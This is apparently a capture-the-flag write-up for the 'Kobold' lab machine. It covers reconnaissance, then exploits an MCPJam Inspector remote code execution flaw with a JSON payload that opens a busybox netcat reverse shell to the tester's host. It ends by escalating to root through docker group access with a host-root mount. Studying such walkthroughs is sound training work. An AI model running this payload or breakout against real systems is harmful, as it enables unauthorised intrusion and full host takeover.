Kobold

```
└─$ sudo nmap -sV -sC 10.129.238.89
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-22 21:32 EDT
Nmap scan report for kobold.htb (10.129.238.89)
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_  256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp  open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open  ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after:  2125-02-19T15:08:55
|_ssl-date: TLS randomness does not represent time
|_http-title: Kobold Operations Suite
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
┌──(blackbin㉿192)-[~/Documents]
└─$ ffuf -u https://kobold.htb/ -k -H "Host: FUZZ.kobold.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 154

       /'___\  /'___\           /'___\
      /\ \__/ /\ \__/  __  __  /\ \__/
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
        \ \_\   \ \_\  \ \____/  \ \_\
         \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
------------------------------------------------
 :: Method           : GET
 :: URL              : https://kobold.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.kobold.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
------------------------------------------------

mcp                     [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 70ms]
bin                     [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 136ms]
:: Progress: [114442/114442] :: Job [1/1] :: 632 req/sec :: Duration: [0:03:29] :: Errors: 0 ::
```

MCPJam Inspector vulnerabilities

TẤT CẢ | TÌM KIẾM | HÌNH ẢNH | VIDEO | BẢN ĐỒ | COPILOT | XEM THÊM

Về 39.100 kết quả

Remote code execution (RCE) vulnerability

MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to **remote code execution (RCE) vulnerability**, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.

[CVE-2026-23744-PoC/exploit.py at main · boroeurnprach/CVE-2026-23744-PoC]

Request

Pretty | Raw | Hex

```
1  POST /api/mcp/connect HTTP/1.1
2  Host: mcp.kobold.htb
3  Cookie: ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=
   %7B%22%24device_id%22%3A%22019d1870-8382-7b4d-8e9e-b7906562b2f0%22%2C%22di
   stinct_id%22%3A%22019d1870-8382-7b4d-8e9e-b7906562b2f0%22%2C%22%24sesid%22
   %3A%5B1774231520267%2C%22019d1870-8413-74ca-8872-58812a0b184f%22%2C1774231
   520267%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C
   %22u%22%3A%22https%3A%2F%2Fmcp.kobold.htb%2F%22%7D%7D
4  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101
   Firefox/140.0
5  Accept: */*
6  Accept-Language: en-US,en;q=0.5
7  Accept-Encoding: gzip, deflate, br
8  Referer: https://mcp.kobold.htb/
9  Sentry-Trace: cc81abd474fd444e81498ffcdaaa4f6f-83351bd09d8fe2bc-0
10 Baggage:
   sentry-environment=prod,sentry-release=af9cf6a62f550e986fe330c09b8a3b8b831
   36df6,sentry-public_key=c9df3785c734acfe9dad2d0c1e963e28,sentry-trace_id=c
   c81abd474fd444e81498ffcdaaa4f6f,sentry-sample_rate=0.1,sentry-sampled=fals
```

Response

Pretty | Raw | Hex | Render

```
1  HTTP/1.1 400 Bad Request
2  Server: nginx/1.24.0 (Ubuntu)
3  Date: Mon, 23 Mar 2026 02:45:36 GMT
4  Content-Type: application/json
5  Content-Length: 97
6  Connection: keep-alive
7  access-control-allow-credentials: true
8  vary: Origin
9
10 {
       "success":false,
       "error":"Failed to parse request body",
       "details":"Unexpected end of JSON input"
   }
```

Request

Pretty Raw Hex

```
sentry-environment=prod,sentry-release=af9cf6a62f550e986fe330c09b8a3b8b831
36df6,sentry-public_key=c9df3785c734acfe9dad2d0c1e963e28,sentry-trace_id=c
c81abd474fd444e81498ffcdaaa4f6f,sentry-sample_rate=0.1,sentry-sampled=fals
e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Connection: keep-alive
Content-Type: application/json
Content-Length: 175

{
    "serverConfig":{
        "command":"busybox",
        "args":[
            "nc",
            "10.10.14.3",
            "5555",
            "-e",
            "/bin/bash"
        ],
        "env":{
        }
    },
    "serverId":"rce_test"
}
```

```
{
  "serverConfig": {
    "command": "busybox",
    "args": ["nc", "10.10.14.3", "5555", "-e", "/bin/bash"],
    "env": {}
  },
  "serverId": "rce_test"
}
```

```
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ whoami
ben
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
```

```
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ ls /home/ben/
user.txt
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ cat /home/ben/user.txt
43b57ba6dcf521321b38d5e80aef1d31
```

```
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ docker ps
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2
Frun%2Fdocker.sock/v1.50/containers/json": dial unix /var/run/docker.sock: connect: permission denied
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ sg docker "docker ps"
CONTAINER ID   IMAGE                              COMMAND                  CREATED       STATUS        PORTS
                NAMES
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   "/etc/init.d/rc.local"   4 weeks ago   Up About an hour   127.0.0.1:808
0->8080/tcp    bin
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
```

```
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ sg docker -c "docker run -it --rm -u 0 -v /:/host --entrypoint c
hroot privatebin/nginx-fpm-alpine:2.0.2 /host bash"
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@fd9f0cea4285:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
root@fd9f0cea4285:/#
```

sg docker -c "docker run -it --rm -u 0 -v /:/host --entrypoint chroot privatebin/nginx-fpm-alpine:2.0.2 /host bash"

(-u 0 : chạy container với user có UID = 0 (root))

```
root@fd9f0cea4285:/# cat /etc/group | grep docker
docker:x:111:alice
root@fd9f0cea4285:/# cat /etc/gshadow | grep docker
docker:!::ben,alice
```

Component	Dùng file
`id`, `groups`	`/etc/group`
`sg`, `newgrp`, auth	`/etc/gshadow`

https://hacktricks.xsx.tw/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation